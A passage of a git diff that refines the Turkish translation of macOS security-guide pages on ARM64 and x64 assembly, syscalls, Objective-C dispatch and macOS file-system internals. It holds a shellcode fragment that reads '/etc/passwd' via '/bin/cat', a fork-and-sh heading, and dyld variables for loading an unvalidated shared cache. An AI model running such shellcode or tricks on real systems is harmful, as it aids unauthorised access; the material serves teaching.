bayraklarını buna göre ayarlar. -- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, bu bir **`adds`** takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır. -- **`ccmp`**: Koşullu karşılaştırma, bu, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, func'a atla. -- Bu, **`ccmp`**'nin yalnızca **önceki `cmp` bir `NE` ise** yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez). +- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'ın bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır. +- **`ccmp`**: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> Eğer x1 != x2 ve x3 < x4 ise, func'a atla. +- Bu, **`ccmp`**'nin yalnızca önceki **`cmp`'nin `NE`** olduğu durumda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez). - Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi). - **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu hiçbir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki bitlerden herhangi birinin 1 olup olmadığını kontrol etmek için yararlıdır. -- Örnek: `tst X1, #7` X1'in son 3 bitinin 1 olup olmadığını kontrol et. +- Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et. - **`teq`**: Sonucu göz ardı ederek XOR işlemi. - **`b`**: Koşulsuz Dal. - Örnek: `b myFunction` @@ -181,9 +181,9 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar. - Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar. - Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). -- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilmiş** olduğu bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. -- Örnek: `blr x1` — Bu, `x1`'de bulunan adresi içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. -- **`ret`**: **Alt programdan** **dön**, genellikle **`x30`**'daki adresi kullanarak. +- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilmiş** olduğu bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu +- Örnek: `blr x1` — Bu, adresi `x1`'de bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. +- **`ret`**: **Alt programdan** **dön**, genellikle **`x30`**'deki adresi kullanarak. - Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır. - **`b.`**: Koşullu dallar. - **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak. @@ -210,9 +210,9 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \, eğer yanlışsa, Xd = 0. - **`adrp`**: Bir sembolün **sayfa adresini** hesapla ve bir kayıtta sakla. - Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar. -- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri **yükle** ve **64 bit'e işaret uzat**. -- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e işaret uzatır ve `x0`'da saklar. -- **`stur`**: Bir kayıt değerini bir bellek konumuna **sakla**, başka bir kayıttan bir offset kullanarak. +- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükle ve **64 bit'e imza uzat**. +- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e imza uzatır ve `x0`'da saklar. +- **`stur`**: Bir kayıt değerini bir bellek konumuna sakla, başka bir kayıttan offset kullanarak. - Örnek: `stur x0, [x1, #4]` — Bu, `x0`'deki değeri `x1`'deki adresten 4 byte daha büyük olan bellek adresine saklar. - **`svc`** : Bir **sistem çağrısı** yap. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna** geçer ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar. @@ -231,7 +231,7 @@ svc 0 ; Sistem çağrısını yap. stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` 2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar) -3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, ` (burada `` gerekli byte sayısıdır) +3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, ` (burada `` gereken byte sayısıdır) ### **Fonksiyon Epilogü** @@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\ **Yetkili** 64-bit programlar, daha düşük yetkili 32-bit programların **çalıştırılmasını** sağlamak için bir istisna seviyesi transferi gerçekleştirerek programları planlayabilir.\ -64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlem süreci işleme alınmaya hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünü 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili süreç **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR\*\*'ye bağlı olarak A32 veya T32'ye girer.\*\* +64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlemci iş parçacığı çalıştırılmaya hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünü 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili işlem **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR\*\*'ye bağlı olarak A32 veya T32'ye girer.\*\* **`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek: @@ -272,12 +272,12 @@ mov r0, #8 - **`r13`**: Yığın İşaretçisi - **`r14`**: Bağlantı Kaydı -Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini gerçekleştirmeyi sağlar.\ -Bu, istisna alındığında işlemci modunun **`CPSR`**'den **`SPSR`**'ye işlemci durumunu **kaydetmek** ile yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir. +Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini sağlar.\ +Bu, istisna alındığında işlemci modunun **`CPSR`**'sinden **`SPSR`**'ye işlemci durumunun **kaydedilmesiyle** yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir. ### CPSR - Mevcut Program Durum Kaydı -AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıca bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de saklanır: +AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de de saklanır:
@@ -290,7 +290,7 @@ Alanlar bazı gruplara ayrılmıştır: - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi) - **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır. -- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatla birden fazla veri noktasını işleme imkanı tanır. +- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatta birden fazla veri noktasını işleme imkanı tanır. Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** yapıp yapmadığını gösterir. @@ -301,7 +301,7 @@ Alanlar bazı gruplara ayrılmıştır: - **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve eğer **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır. - **IT Blok Durum Kaydı** (`ITSTATE`): Bunlar 10-15 ve 25-26 arasındaki bitlerdir. **`IT`** ile başlayan bir grup içindeki talimatlar için koşulları saklar. - **`E`** biti: **endianness**'i gösterir. -- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, **şu anda kullanılan istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, bu işlenirken başka bir istisna tetiklendiğinde **mevcut önceliği** gösterir. +- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, **şu anda kullanılan istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, başka bir istisna tetiklendiğinde mevcut önceliği **gösterir**.
@@ -317,7 +317,7 @@ Alanlar bazı gruplara ayrılmıştır: `mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. -Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir disassembler'da **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz: +Bu (ve BSD) syscalls'ı çağırmayı bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -378,18 +378,18 @@ Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bu - İyimser önbellek araması yapın: - Başarılıysa, tamam - runtimeLock (okuma) edin -- Eğer (realize && !cls->realized) sınıfı realize et -- Eğer (initialize && !cls->initialized) sınıfı initialize et -- Sınıfın kendi önbelleğini dene: +- Eğer (realize && !cls->realized) sınıfı gerçekleştirin +- Eğer (initialize && !cls->initialized) sınıfı başlatın +- Sınıfın kendi önbelleğini deneyin: - Başarılıysa, tamam -- Sınıf yöntem listesini dene: -- Bulunduysa, önbelleği doldur ve tamam -- Üst sınıf önbelleğini dene: +- Sınıf yöntem listesini deneyin: +- Bulunduysa, önbelleği doldurun ve tamam +- Üst sınıf önbelleğini deneyin: - Başarılıysa, tamam -- Üst sınıf yöntem listesini dene: -- Bulunduysa, önbelleği doldur ve tamam -- Eğer (resolver) yöntem çözücüsünü dene ve sınıf aramasından tekrar et -- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi dene +- Üst sınıf yöntem listesini deneyin: +- Bulunduysa, önbelleği doldurun ve tamam +- Eğer (resolver) yöntem çözücüsünü deneyin ve sınıf aramasından tekrar edin +- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin ### Shellcodes @@ -565,7 +565,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Bir fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez. +#### Fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez. ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index 818041724..5dbb5ac1d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -4,7 +4,7 @@ ## **x64'e Giriş** -x64, x86-64 olarak da bilinir, esasen masaüstü ve sunucu bilgisayarlarında kullanılan 64-bit bir işlemci mimarisidir. Intel tarafından üretilen x86 mimarisinden türetilmiş ve daha sonra AMD tarafından AMD64 adıyla benimsenmiştir; günümüzde kişisel bilgisayarlar ve sunucularda yaygın olarak kullanılan mimaridir. +x64, x86-64 olarak da bilinir, esasen masaüstü ve sunucu bilgisayarlarında kullanılan 64-bit bir işlemci mimarisidir. Intel tarafından üretilen x86 mimarisinden türetilmiş ve daha sonra AMD tarafından AMD64 adıyla benimsenmiştir; günümüzde kişisel bilgisayarlarda ve sunucularda yaygın olarak kullanılan mimaridir. ### **Kayıtlar** @@ -23,10 +23,10 @@ x64, x86 mimarisini genişleterek **16 genel amaçlı kayıt** sunar: `rax`, `rb x64 çağrı sözleşmesi işletim sistemlerine göre değişiklik gösterir. Örneğin: -- **Windows**: İlk **dört parametre** **`rcx`**, **`rdx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Diğer parametreler yığına itilir. Dönen değer **`rax`** içindedir. -- **System V (genellikle UNIX benzeri sistemlerde kullanılır)**: İlk **altı tamsayı veya işaretçi parametre** **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Dönen değer de **`rax`** içindedir. +- **Windows**: İlk **dört parametre** **`rcx`**, **`rdx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Diğer parametreler yığına itilir. Dönen değer **`rax`**'tadır. +- **System V (genellikle UNIX benzeri sistemlerde kullanılır)**: İlk **altı tam sayı veya işaretçi parametre** **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Dönen değer de **`rax`**'tadır. -Fonksiyonun altıdan fazla girişi varsa, **geri kalan yığında geçilecektir**. **RSP**, yığın işaretçisi, **16 byte hizalı** olmalıdır; bu, işaret ettiği adresin herhangi bir çağrıdan önce 16'ya tam bölünebilir olması gerektiği anlamına gelir. Bu, genellikle bir fonksiyon çağrısı yapmadan önce RSP'nin düzgün bir şekilde hizalandığından emin olmamız gerektiği anlamına gelir. Ancak pratikte, sistem çağrıları bu gereklilik karşılanmadığında bile birçok kez çalışır. +Fonksiyonun altıdan fazla girişi varsa, **geri kalan yığında geçilir**. **RSP**, yığın işaretçisi, **16 byte hizalanmış** olmalıdır; bu, işaret ettiği adresin herhangi bir çağrıdan önce 16'ya tam bölünebilir olması gerektiği anlamına gelir. Bu, genellikle bir fonksiyon çağrısı yapmadan önce RSP'nin düzgün bir şekilde hizalandığından emin olmamız gerektiği anlamına gelir. Ancak pratikte, sistem çağrıları bu gereklilik karşılanmasa bile birçok kez çalışır. ### Swift'te Çağrı Sözleşmesi @@ -37,31 +37,31 @@ Swift'in kendi **çağrı sözleşmesi** vardır, [**burada bulabilirsiniz**](ht x64 talimatları, önceki x86 talimatlarıyla uyumluluğu koruyarak ve yenilerini tanıtarak zengin bir set sunar. - **`mov`**: Bir **değeri** bir **kayıttan** veya **bellek konumundan** diğerine **taşır**. -- Örnek: `mov rax, rbx` — `rbx`'teki değeri `rax`'a taşır. +- Örnek: `mov rax, rbx` — `rbx`'teki değeri `rax`'e taşır. - **`push`** ve **`pop`**: Yığına değerleri itme veya çekme. - Örnek: `push rax` — `rax`'teki değeri yığına iter. -- Örnek: `pop rax` — Yığının üstündeki değeri `rax`'a çeker. +- Örnek: `pop rax` — Yığının üstündeki değeri `rax`'e çeker. - **`add`** ve **`sub`**: **Toplama** ve **çıkarma** işlemleri. -- Örnek: `add rax, rcx` — `rax` ve `rcx`'teki değerleri toplar, sonucu `rax`'ta saklar. +- Örnek: `add rax, rcx` — `rax` ve `rcx`'teki değerleri toplar, sonucu `rax`'te saklar. - **`mul`** ve **`div`**: **Çarpma** ve **bölme** işlemleri. Not: Bunların operand kullanımıyla ilgili belirli davranışları vardır. - **`call`** ve **`ret`**: **Fonksiyonları çağırmak** ve **geri dönmek** için kullanılır. - **`int`**: Yazılım **kesintisi** tetiklemek için kullanılır. Örneğin, `int 0x80` 32-bit x86 Linux'ta sistem çağrıları için kullanılmıştır. - **`cmp`**: İki değeri **karşılaştırır** ve sonuca göre CPU'nun bayraklarını ayarlar. - Örnek: `cmp rax, rdx` — `rax`'ı `rdx` ile karşılaştırır. - **`je`, `jne`, `jl`, `jge`, ...**: Önceki bir `cmp` veya testin sonuçlarına göre kontrol akışını değiştiren **koşullu atlama** talimatları. -- Örnek: `cmp rax, rdx` talimatından sonra, `je label` — `rax` `rdx`'e eşitse `label`'a atlar. +- Örnek: `cmp rax, rdx` talimatından sonra, `je label` — `rax` `rdx`'e eşitse `label`'e atlar. - **`syscall`**: Bazı x64 sistemlerde (modern Unix gibi) **sistem çağrıları** için kullanılır. - **`sysenter`**: Bazı platformlarda optimize edilmiş bir **sistem çağrısı** talimatıdır. ### **Fonksiyon Prologu** 1. **Eski temel işaretçiyi it**: `push rbp` (çağıranın temel işaretçisini kaydeder) -2. **Mevcut yığın işaretçisini temel işaretçiye aktar**: `mov rbp, rsp` (mevcut fonksiyon için yeni temel işaretçiyi ayarlar) +2. **Mevcut yığın işaretçisini temel işaretçiye taşı**: `mov rbp, rsp` (mevcut fonksiyon için yeni temel işaretçiyi ayarlar) 3. **Yerel değişkenler için yığında alan ayır**: `sub rsp, ` (burada ``, gereken byte sayısıdır) ### **Fonksiyon Epilogu** -1. **Mevcut temel işaretçiyi yığın işaretçisine aktar**: `mov rsp, rbp` (yerel değişkenleri serbest bırak) +1. **Mevcut temel işaretçiyi yığın işaretçisine taşı**: `mov rsp, rbp` (yerel değişkenleri serbest bırak) 2. **Eski temel işaretçiyi yığından çıkar**: `pop rbp` (çağıranın temel işaretçisini geri yükler) 3. **Dön**: `ret` (kontrolü çağırana geri verir) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 927b59b28..47d4099ee 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -7,7 +7,7 @@ - **/Applications**: Yüklenen uygulamalar burada olmalıdır. Tüm kullanıcılar bunlara erişebilir. - **/bin**: Komut satırı ikili dosyaları - **/cores**: Varsa, çekirdek dökümlerini saklamak için kullanılır -- **/dev**: Her şey bir dosya olarak kabul edilir, bu nedenle burada donanım cihazlarını görebilirsiniz. +- **/dev**: Her şey bir dosya olarak kabul edilir, bu nedenle burada donanım aygıtlarını görebilirsiniz. - **/etc**: Yapılandırma dosyaları - **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Kök dizinde ve her kullanıcının dizininde bir Library klasörü vardır. - **/private**: Belgelendirilmemiştir ancak bahsedilen birçok klasör özel dizine sembolik bağlantılardır. @@ -25,7 +25,7 @@ - **Sistem uygulamaları** `/System/Applications` altında bulunur - **Yüklenen** uygulamalar genellikle `/Applications` veya `~/Applications` dizininde yüklenir - **Uygulama verileri**, root olarak çalışan uygulamalar için `/Library/Application Support` ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` dizininde bulunabilir. -- Üçüncü taraf uygulamaların **daemon'ları** **root olarak çalışması gereken** genellikle `/Library/PrivilegedHelperTools/` dizininde bulunur +- Üçüncü taraf uygulamaların **daemon'ları** **root olarak çalışması gereken** genellikle `/Library/PrivilegedHelperTools/` dizininde bulunur. - **Sandboxed** uygulamalar `~/Library/Containers` klasörüne haritalanır. Her uygulamanın uygulamanın paket kimliğine göre adlandırılmış bir klasörü vardır (`com.apple.Safari`). - **Kernel** `/System/Library/Kernels/kernel` dizinindedir - **Apple'ın kernel uzantıları** `/System/Library/Extensions` dizinindedir @@ -63,7 +63,7 @@ macos-installers-abuse.md - **`.Spotlight-V100`**: Bu klasör, sistemdeki her hacmin kök dizininde görünür. - **`.metadata_never_index`**: Bu dosya bir hacmin kökünde bulunuyorsa, Spotlight o hacmi dizinlemez. - **`.noindex`**: Bu uzantıya sahip dosya ve klasörler Spotlight tarafından dizinlenmez. -- **`.sdef`**: Paketler içindeki dosyalar, bir AppleScript ile uygulama ile nasıl etkileşim kurulabileceğini belirtir. +- **`.sdef`**: AppleScript ile uygulama ile nasıl etkileşim kurulabileceğini belirten paket içindeki dosyalar. ### macOS Paketleri @@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
-Bazı çıkarıcılar çalışmayabilir çünkü dylib'ler, bilinmeyen adreslere atlama yapabilecekleri için sabit kodlanmış adreslerle önceden bağlantılıdır. +Bazı çıkarıcılar çalışmayabilir çünkü dylib'ler, bilinmeyen adreslere atlama yapabilecek şekilde, sabit kodlanmış adreslerle önceden bağlantılıdır. > [!TIP] > Xcode'da bir emülatör kullanarak macos'ta diğer \*OS cihazlarının Paylaşılan Kütüphane Önbelleğini indirmenin de mümkün olduğunu unutmayın. Bunlar şu dizinde indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, örneğin: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` @@ -106,7 +106,7 @@ Bazı çıkarıcılar çalışmayabilir çünkü dylib'ler, bilinmeyen adreslere **`dyld`** SLC'nin haritalanıp haritalanmadığını bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (bu adresi döndürür) ve **`shared_region_map_and_slide_np`** ile SLC'yi haritalar. -SLC ilk kullanımda kaydırılsa bile, tüm **işlemler** **aynı kopyayı** kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR** korumasını **ortadan kaldırır**. Bu geçmişte gerçekten istismar edildi ve paylaşılan alan sayfası ile düzeltildi. +SLC ilk kullanımda kaydırılsa bile, tüm **işlemler** **aynı kopyayı** kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR** korumasını **ortadan kaldırır**. Bu geçmişte gerçekten istismar edildi ve paylaşılan bölge sayfası ile düzeltildi. Branch havuzları, görüntü haritalamaları arasında küçük alanlar oluşturan küçük Mach-O dylib'lerdir ve bu da işlevlerin araya girmesini imkansız hale getirir. @@ -114,8 +114,8 @@ Branch havuzları, görüntü haritalamaları arasında küçük alanlar oluştu Aşağıdaki çevre değişkenlerini kullanarak: -- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu, yeni bir paylaşılan kütüphane önbelleği yüklemeye izin verecektir. -- **`DYLD_SHARED_CACHE_DIR=avoid`** ve kütüphaneleri gerçek olanlarla paylaşılan önbelleğe simlinklerle manuel olarak değiştirmek (bunları çıkarmanız gerekecek). +- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu, yeni bir paylaşılan kütüphane önbelleğini yüklemeye izin verecektir. +- **`DYLD_SHARED_CACHE_DIR=avoid`** ve kütüphaneleri gerçek olanlarla paylaşılan önbelleğe sembolik bağlantılarla manuel olarak değiştirmek (bunları çıkarmanız gerekecek). ## Özel Dosya İzinleri @@ -125,11 +125,11 @@ Bir **klasörde**, **okuma** onu **listelemeye** izin verir, **yazma** dosyalar ### Bayrak değiştiricileri -Dosyalarda ayarlanabilecek bazı bayraklar vardır, bu da dosyanın farklı davranmasına neden olur. Bir dizindeki dosyaların **bayraklarını kontrol edebilirsiniz**: `ls -lO /path/directory` +Dosyalarda farklı davranmalarını sağlayacak bazı bayraklar ayarlanabilir. Bir dizindeki dosyaların **bayraklarını kontrol edebilirsiniz**: `ls -lO /path/directory` - **`uchg`**: **uchange** bayrağı, **dosyanın** değiştirilmesini veya silinmesini **önler**. Ayarlamak için: `chflags uchg file.txt` - Root kullanıcısı **bayrağı kaldırabilir** ve dosyayı değiştirebilir. -- **`restricted`**: Bu bayrak dosyanın **SIP tarafından korunmasını** sağlar (bu bayrağı bir dosyaya ekleyemezsiniz). +- **`restricted`**: Bu bayrak dosyayı **SIP tarafından korunmuş** hale getirir (bu bayrağı bir dosyaya ekleyemezsiniz). - **`Sticky bit`**: Eğer bir dizin sticky bit'e sahipse, **yalnızca** **dizin sahibi veya root dosyaları yeniden adlandırabilir veya silebilir**. Genellikle bu, sıradan kullanıcıların diğer kullanıcıların dosyalarını silmesini veya taşınmasını önlemek için /tmp dizininde ayarlanır. Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep stat.h` kullanarak bulabilirsiniz) ve şunlardır: @@ -158,7 +158,7 @@ Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep Dosya **ACL'leri**, farklı kullanıcılara daha **ince izinler** atamak için **ACE** (Erişim Kontrol Girdileri) içerir. -Bir **dizin** için bu izinleri vermek mümkündür: `listele`, `arama`, `dosya_ekle`, `alt_dizin_ekle`, `çocuk_sil`, `çocuk_sil`.\ +Bir **dizin** için bu izinler verilebilir: `listele`, `arama`, `dosya_ekle`, `alt_dizin_ekle`, `çocuk_sil`, `çocuk_sil`.\ Ve bir **dosya** için: `okuma`, `yazma`, `ekleme`, `çalıştırma`. Dosya ACL'ler içeriyorsa, izinleri listelediğinizde **"+" bulacaksınız**: @@ -189,9 +189,9 @@ Genişletilmiş niteliklerin bir adı ve istenen herhangi bir değeri vardır ve - `com.apple.logd.metadata`: `/var/db/diagnostics` içindeki dosyalar için logd tarafından kullanılır - `com.apple.genstore.*`: Nesil depolama (`/.DocumentRevisions-V100` dosya sisteminin kökünde) - `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlüğü Koruması tarafından kullanılır (III/10) -- `com.apple.uuidb.boot-uuid`: benzersiz UUID ile önyükleme dönemlerinin logd işaretleri +- `com.apple.uuidb.boot-uuid`: Benzersiz UUID ile önyükleme dönemlerinin logd işaretlemeleri - `com.apple.decmpfs`: MacOS: Şeffaf dosya sıkıştırması (II/7) -- `com.apple.cprotect`: \*OS: Dosya başına şifreleme verileri (III/11) +- `com.apple.cprotect`: \*OS: Dosya başına şifreleme verisi (III/11) - `com.apple.installd.*`: \*OS: installd tarafından kullanılan meta veriler, örneğin, `installType`, `uniqueInstallID` ### Kaynak Forkları | macOS ADS @@ -237,7 +237,7 @@ macos-memory-dumping.md ## Risk Kategorisi Dosyaları Mac OS 